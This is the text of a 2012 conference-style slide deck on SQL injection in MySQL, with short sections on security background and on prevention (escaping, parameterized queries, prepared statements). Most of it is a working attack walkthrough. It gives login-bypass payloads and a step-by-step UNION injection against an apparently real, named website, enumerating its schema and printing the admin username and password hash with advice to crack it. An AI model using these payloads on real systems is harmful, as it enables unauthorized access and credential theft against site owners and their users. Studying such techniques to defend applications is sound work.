SQL-injection in action

Download Report

Transcript SQL-injection in action

SQL-injection in action
In MySQL RDBMS
By Siamak Aghaeipour
Dec 2012
Before Action
Boring part . . .
Computer Security
• Computer Security is the degree of protection in
computer-based equipment.
• Nothing Is 100% Secure
There’s an old joke in computer security circles that the only truly secure
computer is one that’s disconnected from all power and communication lines,
and locked in a safe at the bottom of a reinforced bunker surrounded by
armed guards!
So …
If a hacker wants to enter to your system , you can do nothing but you can
make it difficult for him.
Remember …
Security is a
BIG field that is much more than programming.
Hacker
Hacker
Real hacker is a genius programmer. He is somebody who finds
weaknesses in a computer or computer network.
Type of Hackers
•
•
•
•
•
•
•
White Hat - Test security of system.
Black Hat - Destroy data or make the network unusable.
Grey Hat - Combination of a black hat and a white hat (find and try to fix).
Neophyte - Learning before action.
Script Kiddie - Using tools with no understanding.
Hacktivist - Political ideals and issues.
Elite Hacker - Most skilled hackers.
SQL-Injection
• What?
SQL injection is a technique often used to attack a website.
It was one of the top 10 web application vulnerabilities of 2007 and 2010.
• How?
Injecting SQL statements in a SQL query.
• So What?
To run an SQL command that can change database content or access the
database information.
• What’s The Point?
The point is DO NOT FORGET “Every
user is a hacker”
The Key to prevent SQL-Injection
Never and ever trust any kind of user input
• Especially that which comes from the client side, even though it comes
from a select box, a hidden input field or a cookie.
• Check if the given input has the expected data type.
NO, IT’S NOT AN OPTION
You
MUST
from user!
check validation of every data that comes
Imperva’s Web Application Attack Report
Edition #1 - July 2011
Imperva is a data security company, which provides solutions for high-value business data protection.
RFI : Remote File Inclusion
SQLI : SQL-Injection
XSS : Cross-Site Scripting
In Action
attractive part . . .
SQL-Injection – Login Forms
Select:
Syntax:
• SELECT [column_name(s)] FROM [table_name] WHERE [Condition(s)]
Example:
SELECT FirstName,LastName FROM students WHERE FirstName=‘Siamak‘
SELECT 1,2 FROM students WHERE FirstName=‘Siamak‘
SELECT * FROM students WHERE FirstName=‘Siamak‘
SQL-Injection – Login Forms
A simple query for validating admin:
• SELECT user,pass FROM admin WHERE user=‘siamak’ and pass=‘1234’
In a real program siamak and 1234 are variables. So …
• SELECT user,pass FROM admin WHERE user=‘$usr’ and pass=‘$psw’
What will happen if:
$usr = siamak' #;
$psw = ;
SQL-Injection – Login Forms
A simple query for validating admin:
What # does ?
# comments the rest of query.
So …
• SELECT user,pass FROM admin WHERE user=‘siamak' # and pass=‘$psw’
And it means:
• SELECT user,pass FROM admin WHERE user=‘siamak'
So you can Login only with the admin username without having password!
SQL-Injection – Login Forms
A simple query for validating admin:
Or you can
$usr = ' OR '1' = '1;
$psw = ' OR '1' = '1;
• SELECT user,pass FROM admin WHERE user=‘' OR '1'='1’ and pass=‘' OR
'1'='1’
So you can Login with NOTHING!!!
information_schema
Most sensitive database in MySQL is information_schema:
• This database holds names of all databases, tables, columns,…
In SQL-injection attack these tables of information_schema are more useful than others:
• SCHEMATA
• TABLES
• COLUMNS
SQL-Injection – Address bar
In a victim site when you click on a link you will redirect to a page something like
this:
• http://www.example.com/news.php?id=34
So what is ?id=34 ?
GET method:
Syntax:
?[var1]=[value1]&[var2]=[value2]&[var3]=[value3]
Example:
?category=sport&newsID=34
?name=siamak&orderID=254
SQL-Injection – Address bar
When you put ' or " you can find out the query is injectable or not!
• http://www.mediamasterminds.com/news/post.php?id=34‘
If the programmer does not filter the value of id warning will occur:
•
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /home/content/j/s/w/jswilliams1/html/news/post.php on line 12
Now you know that this site is vulnerable.
Now, it is time to inject your query to find out more
information about the database, tables, … structures.
SQL-Injection – Address bar
ORDER BY:
Syntax:
• SELECT [column_name(s)] FROM [table_name]
ORDER BY [column_name || column_number]
Example:
SELECT FirstName,LastName FROM students ORDER BY FirstName
SELECT FirstName,LastName FROM students ORDER BY 1
SELECT FirstName,LastName FROM students ORDER BY 2
SQL-Injection – Address bar
•
•
•
•
•
Lets check how many columns are selected in the query.
Use -- to comment rest of the query.
We guess the number of columns. so try to order by the number of columns.
First guess is 100.
Keep doing this until the error disappears.
•
•
•
•
•
http://www.mediamasterminds.com/news/post.php?id=42+order+by+100-- error
http://www.mediamasterminds.com/news/post.php?id=42+order+by+50-- error
http://www.mediamasterminds.com/news/post.php?id=42+order+by+20-- OK
http://www.mediamasterminds.com/news/post.php?id=42+order+by+25-- OK
http://www.mediamasterminds.com/news/post.php?id=42+order+by+26-- error
Now we have the count of column's that is "25".
So this table has 25 columns.
SQL-Injection – Address bar
UNION:
Syntax:
• SELECT [column_name(s)] FROM [table1_name]
UNION
SELECT [column_name(s)] FROM [table2_name]
Example:
•
SELECT sID,sName FROM students UNION SELECT tID,tName FROM teachers
• Number of selected columns must be equal in selects.
• You can select from another database too.
SQL-Injection – Address bar
•
•
Use - to make sure first select wont return any records
Then use union to select from another database [information_schema]
•
•
http://www.mediamasterminds.com/news/post.php?id=-42
http://www.mediamasterminds.com/news/post.php?id=42+union+select+1,2,3,4,SCHEMA_NAME,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22,23,24,25+from+information_schema.SCHEMATA--
•
Use LIMIT offset,count to limit the records. EX: LIMIT 2,10
•
http://www.mediamasterminds.com/news/post.php?id=42+union+select+1,2,3,4,SCHEMA_NAME,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22,23,24,25+from+information_schema.SCHEMATA+limit+0,1-http://www.mediamasterminds.com/news/post.php?id=42+union+select+1,2,3,4,SCHEMA_NAME,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22,23,24,25+from+information_schema.SCHEMATA+limit+1,1--
•
Now we have the database name: "mediamaster".
SQL-Injection – Address bar
GROUP_CONCAT():
Syntax:
• SELECT GROUP_CONCAT([column_name(s)]) FROM [table_name]
Example:
SELECT GROUP_CONCAT(firstName) FROM students
• This function returns a string result.
EX result if they are three records: “siamak,mazdak,laklak”
SQL-Injection – Address bar
•
•
•
Now we should find the tables name.
This time we select from TABLES from information_schema.
We use GROUP_CONCAT() to make the result an string.
•
http://www.mediamasterminds.com/news/post.php?id=42+union+select+1,2,3,4,GROUP_CONCAT(TABLE_NAME),6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22,23,24,25+from+information_schema.TABLES--
Now we have tables:
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_terms
wp_usermeta
wp_users
SQL-Injection – Address bar
So we have …
• database name:
mediamaster
•
Tables name:
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_terms
wp_usermeta
wp_users
SQL-Injection – Address bar
•
•
•
Now we should find the columns name.
The table that holds users is wp_users, so we try to find columns of this table.
This time we select from COLUMNS from information_schema.
•
http://www.mediamasterminds.com/news/post.php?id=-42+union+select+1,2,3,4,
COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25+from+information_schema.COLUMNS+limit+200,1-http://www.mediamasterminds.com/news/post.php?id=-42+union+select+1,2,3,4,
COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25+from+information_schema.COLUMNS+limit+300,1-http://www.mediamasterminds.com/news/post.php?id=-42+union+select+1,2,3,4,
COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25+from+information_schema.COLUMNS+limit+262,1-http://www.mediamasterminds.com/news/post.php?id=-42+union+select+1,2,3,4,
COLUMN_NAME,TABLE_SCHEMA,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25+from+information_schema.COLUMNS+limit+341,1--
•
•
•
This table’s columns begin from records number 262 to 341
SQL-Injection – Address bar
•
columns of wp_users are:
id
user_login [341,1]
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name [350,1]
•
•
•
Now we can find out the exact database in structure.
Then write the main query:
http://www.mediamasterminds.com/news/post.php?id=-42+union+select+1,2,3,4,
user_login,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from
+wp_users+limit+0,1--
SQL-Injection – Address bar
Finally Done.
Username : admin
Hashed Password: $P$BeV0IWgNwdMuiQ6gCU1o9BjQtI3VsW1
Crack the hash by a password cracker site.
THAT’S IT!
After Action
Important part . . .
SQL-Injection – Prevent
To prevent SQL-injection, you can escape strings before put it in the query.
•
EX in PHP: (You can also use PDO)
$id = intval($id);
$user = mysql_real_escape_string($user);
•
EX in C#.NET: (Parameterized Query)
SqlParameter[] myparm = new SqlParameter[2];
myparm[0] = new SqlParameter("@User",user);
myparm[1] = new SqlParameter("@Pass",password);
string comando = "SELECT * FROM table WHERE user=@User AND password=@Pass";
•
EX in JAVA: (Prepared Statements)
string selectStatement = "SELECT * FROM User WHERE userId = ? ";
preparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
resultSet rs = prepStmt.executeQuery();
SQL-Injection
That was just the beginning.
Security
This article
SQL-Injection
References:
Books:
1. Pro PHP Security SECOND EDITION - 2010 - Author: Chris Snyder, Thomas Myer,and Michael Southwell
2. Attack And Defence PHP Web Apps -- Author: Shahriyar Jalayeri
Articles:
1. SQL Injection - php.net
http://php.net/manual/en/security.database.sql-injection.php
2. SQL-Injection Powered by WebSec.ca
http://www.websec.ca/kb/sql_injection
3. SQL Injection cheat sheet -- Author: RSnake
http://ha.ckers.org/sqlinjection/
4. Wikipedia
http://en.wikipedia.org/
And some other articles …
Thank You All.
Any Questions?
Siamak Aghaeipour
http://blacksrc.com